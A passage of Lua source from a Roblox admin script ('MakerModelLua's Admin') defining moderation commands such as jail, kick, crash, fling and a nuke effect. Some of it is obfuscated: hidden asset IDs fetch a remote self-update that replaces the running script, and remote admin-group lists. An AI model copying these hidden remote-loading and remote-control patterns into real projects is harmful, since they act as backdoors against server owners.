  849. local Hour = math.floor(SecondsOfToday / (60*60))
  850. local Minute = math.floor(SecondsOfToday/60 - Hour*60)
  851. local Second = math.floor(math.fmod(SecondsOfToday, 60))
  852. if Hour > 12 and Regular == true then
  853. Hour = Hour - 12
  854. Meridiem = " PM"
  855. end
  856. Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
  857. if #Hour <= 1 then Hour = "0"..Hour end
  858. if #Minute <= 1 then Minute = "0"..Minute end
  859. if #Second <= 1 then Second = "0"..Second end
  860. local Return = Hour..":"..Minute..":"..Second..Meridiem
  861. if FullDate == true and Date then Return = Date.." "..Return end
  862. return Return
  863. end
  864.  
  865. function CORE:RemoveAdmin(Speaker)
  866. local Answer = true -- false
  867. if not CORE:NilPlayer(Speaker) then
  868. Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
  869. end
  870. if Answer == "Yes" or CORE:NilPlayer(Speaker) then
  871. if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
  872. for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
  873. for _,Item in pairs(Player:GetChildren()) do
  874. if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
  875. Item:Destroy()
  876. end
  877. end
  878. for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
  879. if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
  880. GUI:Destroy()
  881. end
  882. end
  883. end end
  884. for _,Car in pairs(Cars) do
  885. Car:Destroy()
  886. end
  887. CORE:FixLighting()
  888. while wait() do
  889. if script:FindFirstChild("Override") then script.Override.Value = true end
  890. Settings,CORE,IRC = nil,{},{}
  891. if Sound then Sound:Stop() end
  892. if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
  893. script:ClearAllChildren() script:Destroy() script.Disabled = true
  894. end
  895. end
  896. end
  897.  
  898. function CORE:MakeBase()
  899. for _,Get in pairs(Workspace:GetChildren()) do
  900. if Get.Name == "Base" or Get.Name == "BasePlate" then
  901. Get:Destroy()
  902. end
  903. end
  904. local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
  905. end
  906.  
  907. function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
  908. if IsAbusive == nil then IsAbusive = false end
  909. if Commands[CommandName] then table.remove(Commands[CommandName]) end
  910. Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
  911. end
  912.  
  913. function CORE:FixLighting() coroutine.wrap(function()
  914. ModLighting = false
  915. wait(0.2)
  916. Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
  917. Server.Lighting.FogColor = Color3.new(0,0,0)
  918. Server.Lighting.Brightness = 1
  919. Server.Lighting.TimeOfDay = 14
  920. Server.Lighting.FogEnd = 100000
  921. end)() end
  922.  
  923. function CORE:Round(Number)
  924. if Number >= 0.5 then
  925. return math.ceil(Number)
  926. elseif Number < 0.5 then
  927. return math.floor(Number)
  928. end
  929. end
  930.  
  931. local AdminID,Got = nil,false
  932. repeat wait()
  933. Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
  934. until Got == true
  935.  
  936. function CORE:GetTable(ID)
  937. local Thing = nil
  938. repeat wait()
  939. ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
  940. until Thing
  941. return Thing
  942. end
  943.  
  944. function CORE:InAdminGroup(Speaker)
  945. local IsIn = false
  946. for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
  947. if Speaker:IsInGroup(Get) then
  948. IsIn = true
  949. end
  950. end
  951. if IsIn == true then
  952. return true
  953. else
  954. GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
  955. return false
  956. end
  957. end
  958.  
  959. function CORE:ReverseTable(Table)
  960. if type(Table) ~= "table" then return Table end
  961. local NewTable = {}
  962. for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
  963. return NewTable
  964. end
  965.  
  966. function CORE:Log(LogTable, Player, Chat)
  967. local PlayerName = tostring(Player)
  968. if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
  969. table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
  970. end
  971.  
  972. function CORE:Jail(Player)
  973. if not Player then return nil end
  974. local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
  975. Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
  976. local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
  977. local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
  978. local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
  979. local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
  980. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
  981. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
  982. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
  983. local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
  984. Cell:MoveTo(Vector3.new(0,3,0))
  985.  
  986. if Player.Character and Player.Character:FindFirstChild("Torso") then
  987. Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
  988. Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
  989. end
  990. table.insert(Dispose, Cell)
  991. Jails[Player.Name] = Cell
  992. end
  993.  
  994. function CORE:UnJail(Player)
  995. if not Player then return nil end
  996. if Jails[Player.Name] then
  997. Jails[Player.Name]:Destroy()
  998. Jails[Player.Name] = nil
  999. end
  1000. end
  1001.  
  1002. function CORE:ChangeName(Player, NewName)
  1003. if not Player or not NewName then return nil end
  1004. if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
  1005. local NewName = STRING:FormatReplace(Player, NewName)
  1006.  
  1007. for _,Obj in pairs(Player.Character:GetChildren()) do
  1008. if Obj.Name == "Label" then Obj:Destroy() end
  1009. end
  1010.  
  1011. local Head = Player.Character.Head
  1012. local HeadClone = Head:Clone()
  1013.  
  1014. -- make actual head invisible
  1015. Head.Transparency = 1
  1016. ypcall(function() Head.face.Transparency = 1 end)
  1017.  
  1018. -- make fake head visible
  1019. HeadClone.Transparency = 0
  1020. ypcall(function() HeadClone.face.Transparency = 0 end)
  1021.  
  1022. local Label = Instance.new("Model", Player.Character)
  1023. Label.Name = "Label"
  1024.  
  1025. local Model = Instance.new("Model", Label)
  1026. Model.Name = NewName
  1027.  
  1028. local HumanoidClone = Instance.new("Humanoid", Model)
  1029. coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
  1030.  
  1031. HeadClone.Position = Vector3.new(0,100,0)
  1032. HeadClone.CanCollide = false
  1033. ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
  1034.  
  1035.  
  1036. Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
  1037. HeadClone.Parent = Model
  1038. local Weld = Instance.new("Weld", HeadClone)
  1039. Weld.Part0 = HeadClone
  1040. Weld.Part1 = Head
  1041. end)
  1042. end
  1043. end
  1044.  
  1045. function CORE:UpdateAdmin()
  1046. if Server.Storage:FindFirstChild("PreventMMLUpdate") then
  1047. return nil
  1048. end
  1049. local UpdateModel = AdminID
  1050. if UpdateModel == 0 then return end
  1051. local NewAdminModel = nil
  1052. ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
  1053. if NewAdminModel then
  1054. local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
  1055. if NewAdmin then
  1056. local NewVersion = NewAdmin:FindFirstChild("Version")
  1057. if NewVersion.Value ~= CORE.Version.Value then
  1058. if ExploitModule then
  1059. ExploitModule.Disabled = true
  1060. ExploitModule:Destroy()
  1061. end
  1062. NewAdmin.Disabled = true
  1063. NewAdmin.Parent = Workspace
  1064. if not Settings then
  1065. local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
  1066. if NewSettings then NewSettings.Parent = Workspace end
  1067. end
  1068. wait() NewAdmin.Disabled = false
  1069. CORE:RemoveAdmin()
  1070. else
  1071. NewAdminModel:Destroy()
  1072. end
  1073. end
  1074. end
  1075. end
  1076.  
  1077. function CORE:UnpackPlayers(Players)
  1078. local PlayerNames = ""
  1079. for Num,Player in pairs(Players) do
  1080. if Player ~= nil then
  1081. if Num ~= #Players then
  1082. PlayerNames = PlayerNames..Player.Name..", "
  1083. else
  1084. PlayerNames = PlayerNames..Player.Name
  1085. end
  1086. end
  1087. end
  1088. return PlayerNames
  1089. end
  1090.  
  1091. function CORE:GetValue(Value)
  1092. if Value:IsA("StringValue") then
  1093. if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
  1094. if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
  1095. if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
  1096. if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
  1097. if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
  1098. if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
  1099. if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
  1100. for Num,Admin in pairs(Settings.Ranks["Admin"]) do
  1101. if Admin == Value.Value then
  1102. table.remove(Settings.Ranks["Admin"],Num)
  1103. end
  1104. end
  1105. end end
  1106. end
  1107. end
  1108.  
  1109. function CORE:GetPlayer(ID)
  1110. local Return = {"Unknown", ID}
  1111. if tonumber(ID) then
  1112. for _,Data in pairs(CharacterCache) do
  1113. if ID == Data[2] then
  1114. return Data
  1115. end
  1116. end
  1117. ypcall(function()
  1118. local Name = Server.Players:GetNameFromUserIdAsync(ID)
  1119. if Name then
  1120. local Data = {Name, ID}
  1121. table.insert(CharacterCache, Data)
  1122. Return = Data
  1123. end
  1124. end)
  1125. else
  1126. local Name = tostring(ID)
  1127. for _,Data in pairs(CharacterCache) do
  1128. if string.lower(Name) == string.lower(Data[1]) then
  1129. return Data
  1130. end
  1131. end
  1132. ypcall(function()
  1133. local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
  1134. if PlayerID then
  1135. Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
  1136. local Data = {Name, PlayerID}
  1137. table.insert(CharacterCache, Data)
  1138. Return = Data
  1139. end
  1140. end)
  1141. end
  1142.  
  1143. return Return
  1144. end
  1145.  
  1146. function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
  1147. if ID and #tostring(ID) >= 1 then
  1148. local PlayerName = nil
  1149.  
  1150. local Players = STRING:Scan(ID, Speaker)
  1151. if #Players >= 1 then -- if player is found in server
  1152. ID = Players[1].UserId
  1153. elseif tonumber(ID) then
  1154. local Data = CORE:GetPlayer(ID)
  1155. PlayerName = Data[1]
  1156. else
  1157. local Data = CORE:GetPlayer(tostring(ID))
  1158. PlayerName = Data[1]
  1159. ID = Data[2]
  1160. end
  1161.  
  1162. if tonumber(ID) == 20018 then -- exploding easter bunny
  1163. local OldID = ID
  1164. ID = 1
  1165. if Speaker then
  1166. if RANK:GetRank(Speaker) == "Member" then
  1167. coroutine.wrap(function()
  1168. wait(1)
  1169. GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
  1170. end)()
  1171. else ID = OldID
  1172. end
  1173. end
  1174. elseif tonumber(ID) == 1311 then -- ffjosh
  1175. local OldID = ID
  1176. ID = 1
  1177. if Speaker then
  1178. if RANK:GetRank(Speaker) == "Member" then
  1179. coroutine.wrap(function()
  1180. wait(1)
  1181. GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
  1182. end)()
  1183. else ID = OldID
  1184. end
  1185. end
  1186. end
  1187.  
  1188. if tonumber(ID) then
  1189. local Position = nil
  1190. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  1191. if ManualPos then
  1192. Position = ManualPos
  1193. else
  1194. Position = Player.Character.Torso.Position
  1195. end
  1196. end
  1197. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
  1198. wait() Player:LoadCharacter() wait()
  1199. if Position then Player.Character:MoveTo(Position) end
  1200. if not Perm then
  1201. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
  1202. end
  1203. if NameChar and PlayerName then
  1204. wait(2)
  1205. CORE:ChangeName(Player, PlayerName)
  1206. end
  1207. end
  1208. end
  1209. end)() end
  1210.  
  1211. function CORE:GenerateShield(Player)
  1212. if not Player then return nil end
  1213. if not Player.Character then return nil end
  1214. local Torso = Player.Character:FindFirstChild("Torso")
  1215. if not Torso then return nil end
  1216.  
  1217. local Shield = Player.Character:FindFirstChild("Shield")
  1218. if Shield then Shield:Destroy() end
  1219.  
  1220. Shield = Instance.new("Part", Player.Character)
  1221. Shield.Name = "Shield"
  1222. Shield.Locked = true
  1223. Shield.CanCollide = false
  1224. Shield.Size = Vector3.new(10,10,10)
  1225. Shield.Shape = "Ball"
  1226. Shield.Color = GUI:GetColor()
  1227. Shield.Transparency = 0.5
  1228. Shield.TopSurface = "Smooth"
  1229. Shield.BottomSurface = "Smooth"
  1230. Shield.Anchored = true
  1231. Shield.Position = Torso.Position
  1232.  
  1233. local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
  1234. local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
  1235.  
  1236. Hum:Play()
  1237.  
  1238. Shield.Touched:connect(function(Part)
  1239. if Part.Parent ~= Server.Workspace then
  1240. local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
  1241. if Humanoid then
  1242. local Char = Humanoid.Parent
  1243. if Char:IsA("Model") and Humanoid.Health > 0 then
  1244. if Char ~= Player.Character then
  1245. Char:BreakJoints()
  1246. Zap:Play()
  1247. end
  1248. end
  1249. end
  1250. end
  1251. end)
  1252.  
  1253. coroutine.wrap(function() repeat wait()
  1254. Shield.CFrame = Torso.CFrame
  1255. until Torso.Parent == nil or Shield.Parent == nil end)()
  1256. end
  1257.  
  1258. function CORE:FlingPlayer(Player)
  1259. if Player and Player.Character then
  1260. if Player.Character:FindFirstChild("Torso") then
  1261. local Fling = Instance.new("BodyForce", Player.Character.Torso)
  1262. Fling.Name = "Fling"
  1263. Fling.force = Vector3.new(10000,10000,10000)
  1264. end
  1265. end
  1266. end
  1267.  
  1268. function CORE:Kick(Player, CustomMessage)
  1269. if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
  1270. coroutine.wrap(function()
  1271. CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
  1272. wait(1)
  1273. Player:Kick(CustomMessage)
  1274. end)()
  1275. end
  1276.  
  1277. function CORE:Crash(Player)
  1278. local Parent = Player
  1279. if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
  1280. elseif Player.Character then Parent = Player.Character end
  1281.  
  1282. CORE:ExecuteResource("Crash", Parent)
  1283. end
  1284.  
  1285. function CORE:RestoreCamera(Player)
  1286. if Player.Backpack then
  1287. CORE:ExecuteResource("RestoreCamera", Player.Backpack)
  1288. end
  1289. end
  1290.  
  1291. function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
  1292. local function ScanInstance(Object)
  1293. if #Object:GetChildren() > 0 then
  1294. for _,Obj in pairs(Object:GetChildren()) do
  1295. local IsType = false
  1296. if ObjTypes and #ObjTypes > 0 then
  1297. for _,ObjType in pairs(ObjTypes) do
  1298. if Obj:IsA(ObjType) then
  1299. IsType = true
  1300. break
  1301. end
  1302. end
  1303. else
  1304. IsType = true
  1305. end
  1306. if IsType == true then
  1307. ActiveFunc(Obj)
  1308. end
  1309. ScanInstance(Obj)
  1310. end
  1311. end
  1312. end
  1313. ScanInstance(BaseObj)
  1314. end
  1315.  
  1316. function CORE:AnchorPlayer(Player)
  1317. if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
  1318.  
  1319. Player.Character.Humanoid.WalkSpeed = 0
  1320. for _,Object in pairs(Player.Character:GetChildren()) do
  1321. if Object:IsA("BasePart") then
  1322. Object.Anchored = true
  1323. end
  1324. end
  1325. end
  1326.  
  1327. function CORE:UnanchorPlayer(Player)
  1328. if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
  1329.  
  1330. Player.Character.Humanoid.WalkSpeed = 16
  1331. for _,Object in pairs(Player.Character:GetChildren()) do
  1332. if Object:IsA("BasePart") then
  1333. Object.Anchored = false
  1334. end
  1335. end
  1336. end
  1337.  
  1338. function CORE:InvisiblePlayer(Player)
  1339. if not Player or not Player.Character then return end
  1340.  
  1341. CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
  1342. end
  1343.  
  1344. function CORE:VisiblePlayer(Player)
  1345. if not Player or not Player.Character then return end
  1346.  
  1347. CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
  1348. end
  1349.  
  1350. function CORE:Nuke(Player) coroutine.wrap(function()
  1351. local Pos = CFrame.new(0,1,0)
  1352. if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
  1353. local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
  1354. local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
  1355. local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
  1356. local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
  1357. local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
  1358.  
  1359. local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
  1360.  
  1361. Server.Lighting.Brightness = 5
  1362. Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
  1363. Server.OutdoorAmbient = Color3.new(1,1,1)
  1364.  
  1365. local Exp = Instance.new("Explosion", Server.Workspace)
  1366. Exp.Position = Pos.p
  1367. Exp.BlastPressure = 10000000
  1368. Exp.BlastRadius = 1000000
  1369. Exp.Hit:connect(function(Part)
  1370. if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
  1371. ypcall(function()
  1372. Part.Anchored = false
  1373. Part.BrickColor = BrickColor.new("Black")
  1374. Part.Material = "Slate"
  1375. Part:BreakJoints()
  1376. end)
  1377. end
  1378. end)
  1379.  
  1380. local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
  1381. BoomSound:Play()
  1382. for i = 0,100,0.5 do
  1383. Blast.Anchored = true
  1384. Wave.Anchored = true
  1385. BlastMesh.Scale = Vector3.new(i,i,i)
  1386. WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
  1387. Blast.CFrame = Pos
  1388. wait()
  1389. end
  1390. BoomSound:Stop()
  1391. Blast:Destroy()
  1392. Wave:Destroy()
  1393. wait()
  1394. BoomSound:Destroy()
  1395. Effect:Destroy()
  1396. for i = 10,5,-1 do
  1397. Server.Lighting.Brightness = (i-5) + 1
  1398. Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
  1399. Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
  1400. wait(0.05)
  1401. end
  1402. end)() end
  1403.  
  1404. function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
  1405. local AssetID = tonumber(AssetID)
  1406. local Item = nil
  1407. if AssetID and AssetID ~= 1055299 then
  1408. local CanInsert = true
  1409. if AbuseMode then
  1410. for _,ID in pairs(RemoteAbuseGear) do
  1411. if AssetID == tonumber(ID) then CanInsert = false break end
  1412. end
  1413. for _,ID in pairs(Settings.AbusableGear) do
  1414. if AssetID == tonumber(ID) then CanInsert = false break end
  1415. end
  1416. end
  1417. if CanInsert then
  1418. Item = Server.IS:LoadAsset(AssetID)
  1419. if GetFirstChild then
  1420. Item = Item:GetChildren()[1]
  1421. if FirstChildTypes and Item then
  1422. local ValidType = false
  1423. for _,Type in pairs(FirstChildTypes) do
  1424. if Item:IsA(Type) then
  1425. ValidType = true
  1426. break
  1427. end
  1428. end
  1429. if ValidType == false then
  1430. Item = nil
  1431. end
  1432. end
  1433. end
  1434. if Item and Parent then
  1435. Item.Parent = Parent
  1436. end
  1437. end
  1438. end
  1439. return Item
  1440. end
  1441.  
  1442. function CORE:GivePackage(Player, PID) coroutine.wrap(function()
  1443. if not Player or not Player.Character then return nil end
  1444. PID = tonumber(PID)
  1445. for _,Obj in pairs(Player.Character:GetChildren()) do
  1446. if Obj:IsA("CharacterMesh") then Obj:Destroy() end
  1447. end
  1448. if PID then
  1449. -- back when we needed HttpService to get packages.
  1450. --[[
  1451. if PackageCache[PID] then
  1452. for _,ID in pairs(PackageCache[PID]) do
  1453. CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
  1454. end
  1455. else
  1456. local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
  1457. if IDsJSON then
  1458. local IDs = REMOTE:Decode(IDsJSON)
  1459. if IDs then
  1460. if not IDs["Error"] then
  1461. table.insert(PackageCache, IDs)
  1462. for _,ID in pairs(IDs) do
  1463. CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
  1464. end
  1465. end
  1466. end
  1467. end
  1468. end
  1469. ]]
  1470. -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
  1471. local IDs = {}
  1472. ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
  1473. if #IDs > 0 then
  1474. for _,ID in pairs(IDs) do
  1475. local PackagePart = CORE:Insert(ID)
  1476. for _,Obj in pairs(PackagePart:GetChildren()) do
  1477. if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
  1478. Obj.Parent = Player.Character
  1479. elseif Obj:IsA("Folder") then
  1480. if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
  1481. Obj:GetChildren()[1].Parent = Player.Character
  1482. end
  1483. end
  1484. end
  1485. end
  1486. end
  1487. end
  1488. end)() end
  1489.  
  1490. function CORE:ChangeBet(Bet)
  1491. if tostring(Bet) and Bet ~= Settings.Bet then
  1492. for Index,Data in pairs(Commands) do
  1493. Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
  1494. end
  1495. Settings.Bet = Bet
  1496. end
  1497. end
  1498.  
  1499. function CORE:ResetLighting()
  1500. ModLighting = false wait(0.2) ModLighting = true
  1501. end
  1502.  
  1503. function CORE:Fly(Player, Force)
  1504. if Player and Player.Character then
  1505. local StopFly = Instance.new("RemoteFunction", Player.Character)
  1506. StopFly.Name = "StopMMLFly"
  1507. CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
  1508. end
  1509. end
  1510.  
  1511. function CORE:GiveTools(Player, Type)
  1512. if not Player or not Player:FindFirstChild("Backpack") then return nil end
  1513. Type = string.lower(Type)
  1514. local _,RankNum = RANK:GetRank(Player)
  1515. local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
  1516. local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
  1517.  
  1518. if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
  1519. for Name,Type in pairs(BaseBuildTools) do
  1520. local Tool = Instance.new("HopperBin", Player.Backpack)
  1521. Tool.Name = Name
  1522. Tool.BinType = Type
  1523. end
  1524. elseif Type == "psbtools" then
  1525. for _,Tool in pairs(BuildTools) do
  1526. CORE:Insert(Tool, Player.Backpack, true)
  1527. end
  1528. elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
  1529. if F3X then
  1530. local F3X = F3X:Clone()
  1531. F3X.Parent = Player.Backpack
  1532. end
  1533. elseif Type == "btools" then
  1534. if F3X then
  1535. local F3X = F3X:Clone()
  1536. F3X.Parent = Player.Backpack
  1537. end
  1538. for Name,Type in pairs(BaseBuildTools) do
  1539. local Tool = Instance.new("HopperBin", Player.Backpack)
  1540. Tool.Name = Name
  1541. Tool.BinType = Type
  1542. end
  1543. for _,Tool in pairs(BuildTools) do
  1544. CORE:Insert(Tool, Player.Backpack, true)
  1545. end
  1546. else
  1547. for _,Region in pairs(ToolRegions) do
  1548. CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
  1549. if Type == "all" then
  1550. local NewItem = Item:Clone()
  1551. NewItem.Parent = Player.Backpack
  1552. elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
  1553. local NewItem = Item:Clone()
  1554. NewItem.Parent = Player.Backpack
  1555. end
  1556. end)
  1557. end
  1558. end
  1559. end
  1560.  
  1561. function CORE:Scale(Player, ScalePercent)
  1562. if not Player or not Player.Character or not tonumber(ScalePercent) then return end
  1563. local Ratio = ScalePercent/100
  1564. if Ratio < 0.05 then Ratio = 0.05 end
  1565. if Ratio > 100 then Ratio = 100 end
  1566. if Ratio > 1 then Ratio = math.ceil(Ratio) end
  1567. local Char = Player.Character
  1568.  
  1569. local Clean = Char:FindFirstChild("Clean")
  1570. if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
  1571. Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
  1572.  
  1573. local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
  1574. local Welds = {}
  1575. local Parts = {}
  1576.  
  1577. local function Handle(Obj)
  1578. if Obj:IsA("BasePart") and not JustWeld then
  1579. table.insert(Parts, Obj)
  1580. elseif Obj:IsA("SpecialMesh") and not JustWeld then
  1581. if Obj.Name == "MML Mesh" then
  1582. Obj:Destroy()
  1583. end
  1584. if Obj.MeshType == Enum.MeshType.FileMesh then
  1585. Obj.Offset = Obj.Offset * ScaleRatio
  1586. Obj.Scale = Obj.Scale * ScaleRatio
  1587. elseif Ratio < 1 then
  1588. Obj.Offset = Obj.Offset * ScaleRatio
  1589. Obj.Scale = Obj.Scale * ScaleRatio
  1590. end
  1591. elseif Obj:IsA("CharacterMesh") and not JustWeld then
  1592. if Ratio < 1 then
  1593. local BodyPart = ""
